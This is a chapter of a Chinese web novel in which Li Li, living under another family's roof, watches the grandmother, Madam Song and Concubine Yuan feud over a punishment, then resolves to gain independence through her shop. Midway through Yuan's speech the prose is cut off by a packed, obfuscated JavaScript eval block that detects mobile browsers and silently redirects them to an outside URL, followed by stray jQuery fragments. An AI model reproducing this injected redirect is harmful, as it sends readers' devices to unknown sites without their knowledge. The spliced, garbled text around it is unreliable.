合水和泥，根生土长。
——释梵琮《偈颂》
且说几人在老太太院里争个对错，老太太嘴上说罚许三姐不许出去，只待在她身旁。
话是这样说，可实际上呢，所有人心里都门清儿，这哪里是处罚？
真罚也该是关在自己院里，老太太说关在她院里分明是借着处罚的名头，告诉袁氏，告诉李理，她们许府的小姐，就是能仗着许府的门第为所欲为，家里头的和外边来的到底不一样。
李理不说话，头一回见许家老太太，看她花白的头发理的一丝不苟，闭着眼睛端坐在堂前，有几分慈悲模样，像是菩萨一般。
可人心到底是肉做的，她的肉里从她身上掉下来，但还淌着她的血，一辈辈，淌到了许洁身上。许洁的肉可不就是她的肉，哪有不疼不爱的道理？
老太太发话责罚了许洁，把话头抛给袁氏。
袁氏从木椅子上起身行礼：“老太太都这样说，那我也惩罚惩罚李二娘，就罚她日日只准呆在我院里，哪儿也不去，和三姐儿一样的罚法儿！”
又看着李理：“二娘，怎么样？老太太经历的事儿多，办事儿自然也好！她老人家罚了三姐儿，想必这罚法儿是个合适的。我在她面前是个新人，也比这葫芦画瓢，就着这个法子，罚一罚你，如何？”
袁氏说这一双眼瞧了老太太，目光带着敬意，似乎对她着算不上亲的婆婆十分敬重。心里确想，不愧是活了半辈子的人儿，真个要修炼成精了，有着大把的荣华富贵还不知足，往她们几个妇人身上使心眼子。
这一大家子，若是这老太太还不死，早晚四分五裂了去。
又去瞧宋大夫人，还是往日那副嘴脸，瞧着不冷不淡，雍容华贵，还不是怕人家笑话她门楣，刻意装饰。
外头看着是金贵了，但心里却好似一块贫瘠的土，任人如何卖力，还是长不出任何东西来，终于一块块龟裂。
听别人两句话就想到自尊尊严上头，谁夸了她两句就真觉得人家好，还不是被老太太牵着鼻子走，还倒以为自己沾个光，也是可笑。
最后目光含着笑落到李理身上，欺负她的人，她袁仪贞不许！
李理低头福了福身，似乎十分愧疚：“二娘都听袁姨娘的。”
话是这样说，低着头，端端正正站着身子，旁人只能看见她乌黑浓密的发，办张瓷白的小脸，若不是她脸上眸光泛着冷淡，神色自若，还以为她真服服帖帖。
心里头定然也不这样想，这老太太两头压，叫她们不答应也得答应。
许洁原本趴在老太太腿上，悄悄听着，可听见袁氏的话，听出袁氏有意拿她与李理搁在一处，本就觉得自己受了气，心内十分瞧不起，闪着泪眼回头。
老太太发觉她的动作，暗下用力捏了捏许洁的胳膊，示意她不要再出声。
许洁只得忍了气，奋力吸着泛红的鼻头，依旧愤愤盯着李理。
宋大夫人原本心头有气，听了老太太的决定，又放下心来，老太太始终没把这袁氏看成一家人，对自己女儿犯错的惩罚也不过是做做面上功夫。
思及此，面上多了丝神气，下巴抬的高了些。她是个慈悲人，此时也想大发慈悲，做些慈悲事。
对着袁氏道：“袁姨娘教训自己人，如何都是对的。”
袁氏听此，轻笑一声，不看她一眼，等着老太太说话。
老太太不动声色，细细瞧着下头人的神色，轻笑了声，眼角挤出几道皱纹，此刻看起来才有几分慈眉善目，拖着腔调，慢悠悠道：“该说的都说了，该罚的也都罚了。我累了，你们都下去吧！”
又低头对着怀里的许洁道：“你留在我这儿。”
许洁喃喃道：“我晓得啦，祖母。”
宋大夫人、袁氏、李理三个行了礼，李理跟在袁氏身后，退了出来。
走到院外，已日头高照，阳光金灿灿的，照得人闭了眼，与屋内炭火轻柔的温暖不同，更肆无忌惮些。
李理抬头望日，不顾阳光刺得眼睛生疼，直到瞳孔轻颤，眸子里沁出水来，才回了神儿般依依不舍地避开。
她今日真识得何为寄人篱下，也晓得昔日别人眼中的高贵也要成今日他人眼中的卑贱。
这高门贵府里的勾心斗角，捧高踩低，岂是她想避就能避的，今日虽蒙混过关，也不过是当了他人的一枚棋子，垫了他人的坦途，鹬蚌相争，渔翁得利，古人诚不欺我也。
缓过神来，发觉前头的人影不再动弹。
宋大夫人陡然停了脚步，转过头，一时间钗环相撞，头上戴的金坠子在日光的照射下四处闪着光芒，更晃人眼。
“袁姨娘，你瞧瞧，这偌大的院子里，是处处得的到日光，可细细看，这树荫下，墙角里，不还是阴森森的模样儿！”宋大夫人侧目双眼扫过袁氏的身影，冷声开口。
袁氏顿了步子，也不回头，手里捻着帕子轻笑：“那你可当心些，小心被这天上，金灿灿的阳光照瞎了眼。”
说着张开五指遮了遮光线，阳光透过指缝，照在鲜红的薄唇上，更加夺目生辉，红唇勾起，发出一声嘲讽的笑。
宋大夫人亦不理会，一行人分成了两趟，各向自己院里走。
李理自是晓得她二人所说肯定不是阳光，是借此暗指其他，指尖轻触着下唇，正细细思索，衣袖被一道力猛地一扯。
“哎呦！”
李理下意识开口，一时没反应过来，身子重心失去了平衡，一个踉跄，差点摔在地上。幸好袁氏又拽了她一把，脸撞到了袁氏胳膊上。
袁氏拿胳膊顶了顶她的脸，笑道：“想什么呢，这么入神？”
李理站稳了身子，伸手碰摸摸鼻头，紧紧抱住袁氏的胳膊，小声抱怨道：“袁姨，原来你那日与宋大夫人说的都是真的，我本以为是吵架惯用的伎俩。”
袁氏道：“你也瞧得出来，本来这吵架呢，不过是为立威信，给周围的人看的。后来呢，威信有了，别人敬重你了，就想要更多，想要钱，想要权，而恰恰这些东西呢，偏有人就能给你，你也晓得这样做了就能得到，你就做了。再后来，你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412300|200695||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
想停时，就不是你说了算了。”
叹一回气，又道：“你看我与宋大夫人，争了十来个年头，见着就是横眉冷目，是有人看着哩，有人巴不得你争你抢，不然她心里不安呐！怕你们一齐使劲儿算计她了！”
李理静静听着，袁氏的话一字一句进入脑海，那个“她”，说的自然是方才正堂中间坐着的老太太。
她想象着袁氏在许府十几年如一日的生活，或许是有了小许诺，她才从争抢中撤出身来，缓过神来，才有今日的这份心。
又想到自己母亲，她开始时又是如何过的，她母亲温婉贤静，自自己有记忆时，母亲于她而言就是一种模糊的印象，是温柔的一滩水，沟渠延向哪里，她就向哪里流；是开在树上的白玉兰，任雨水如何飘打，依旧伸头迎着。
她突然心里范了虚，喉头有些酸涩，李大夫人公正严明，但却不许自己常见母亲，她母亲不争不抢，又拿什么做念想？
她突然心里有了恨意，难道一个女人注定要落入一个个金笼子，与其他女人互相争抢，直至暮年，再亲眼看着新的金笼子筑起，里头住了新人，继续开启新一轮的争抢。
她不要，她不要进入笼子，她要做笼子的主人。
李理深深吸了口气，控制着因激动有些发颤的手，她的铺子就要开起来了，开起来就能赚银子，有小银子就会有大银子，有大银子就能买大院子，她不用寄人篱下，不用瞧人脸色，不用被人当枪使还叫人以为是她自己得了好处。
或许是上天垂怜，她因祸得福，伤了人，到了京城，见了世面，晓得了些原先不晓得的。不必再步后尘，沿着车辙走路，另有一条道儿可去。
温润的触觉自李理手心传来，李理动作一滞，原来是袁氏轻轻捏了捏她的手心。
李理抬眼，见袁氏美目游移，正看着自己，这是一位母亲的眼神，眼底尽是温柔，再看不到半分先前的讥讽。
袁氏嘴角含笑，是柔和的笑容，缓缓开口道：
“二娘，我说这些是想叫你晓得高门大户里不止是有富贵可享，里头还有数不尽的勾心斗角，今日的结果我早有预料，你见识了，往后也不要怕她们，横竖自己不要再吃亏，别再叫人抓了脸。”
“往后这样的事儿还不知有多少，我晓得你心思有些深沉，你不要想太多，也不要打算太早，咱们走一步看一步。”
李理把袁氏的话听在心里，了然道：“我原先心里确实有些不服气，但事已至此，我们还是先回去吃饭吧！”
袁氏眯眼，两人都笑着。李理脚下踩的步子也轻快起来，一步接一步，不似走路，倒像跳舞，直把裙角荡出花儿来。
回到袁氏院里，桃儿先迎了上来，问了情况，李理一一学了，桃儿气的鼓起粉腮，十分不服气，低声抱怨了两句，愤愤不平地替李理涂药膏。
只是正午十分，有丫鬟送了饭来，一齐用毕，李理也不歇息，手里扯了帷帽，带着桃儿又往侧门走。
一路不见人影，出了侧门，坐上马车，一路往东街去，不在话下。